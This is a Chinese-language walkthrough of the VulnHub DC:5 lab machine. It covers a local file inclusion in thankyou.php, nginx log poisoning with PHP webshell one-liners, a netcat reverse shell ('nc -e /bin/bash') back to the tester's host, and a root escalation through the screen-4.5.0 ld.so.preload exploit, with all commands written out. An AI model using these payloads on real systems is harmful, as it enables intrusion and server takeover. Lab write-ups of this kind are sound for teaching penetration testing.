準備工作
在vulnhub官網下載DC:5靶機DC: 5 ~ VulnHub
匯入到vmware,設定成NAT模式
開啟kali準備進行滲透(ip:192.168.200.6)
資訊收集
利用nmap進行ip埠探測
nmap -sS 192.168.200.6/24
探測到ip為192.168.200.16的靶機,開放了80埠和111埠
再用nmap對所有埠進行探測,確保沒有別的遺漏資訊
還有一個46300埠
先訪問80埠,開啟網站用Wappalyzer外掛檢視發現是Nginx1.6.2框架
dirsearch掃描到thankyou.php檔案訪問發現發現下面的年份是會變化的,說明頁面是動態的,猜測存在檔案包含
漏洞利用——檔案包含
首先先測試出檔案包含的變數名,可以利用bp進行爆破,根據返回長度判斷,這裡就不演示了,爆破出來變數名是file
存在檔案包含,讀取一下日誌檔案,nginx預設日誌檔案路徑為/var/log/nginx/access.log
可以看到我們剛剛的操作都給記錄到日誌檔案中,這意味著我們可以隨便輸入惡意程式碼,利用日誌檔案來執行
先試試執行phpinfo()看看
雖然顯示404但是我們的操作已經記錄到日誌檔案中了,現在開啟日誌檔案看看,拉到最下面,phpinfo()被成功執行!
寫入一句話木馬<?php eval($_POST['test']);?> 然後用weevely連線,但是連線失敗了,可能這個工具必須要用它生成的木馬才能連線,但是他的木馬太長了,沒有辦法使用。按道理來說使用蟻劍應該也可以連上,但是我採取了另一種方法
寫入 <?php system($_GET['cmd']); ?> 執行系統命令
在終端使用nc進行監聽 nc -lvp 9999
在訪問這個,反彈shell
http://192.168.200.16/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.200.6 9999
使用python 通過pty.spawn()獲得互動式shell
python -c'import pty;pty.spawn("/bin/bash")'
許可權肯定是不夠的接下來進行提權
許可權提升
首先檢視一下root許可權使用者
find / -perm -u=s -type f 2>/dev/null
這裡看到一個/bin/screen-4.5.0,查詢一下screen-4.5.0的漏洞
發現有許可權提升漏洞
開啟sh檔案檢視 vi /usr/share/exploitdb/exploits/linux/local/41154.sh
看內容應該是兩段程式碼,建立新的檔案,放入tmp資料夾,分別編譯一下
gcc -fPIC -shared -ldl -o tmp/libhax.so tmp/libhax.c
gcc -o tmp/rootshell tmp/rootshell.c
然後在靶機使用scp遠端下載kali編譯好的檔案
scp root@192.168.200.6:/root/tmp/libhax.so /tmp/
scp root@192.168.200.6:/root/tmp/rootshell /tmp/
如果kali沒有開啟ssh服務參考以下文章kali使用ssh進行登入_csdnmmd的部落格-CSDN部落格_kali ssh連線
檔案上傳好了之後檢視剛剛的漏洞使用方法進行提權
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
~
獲得root許可權,過關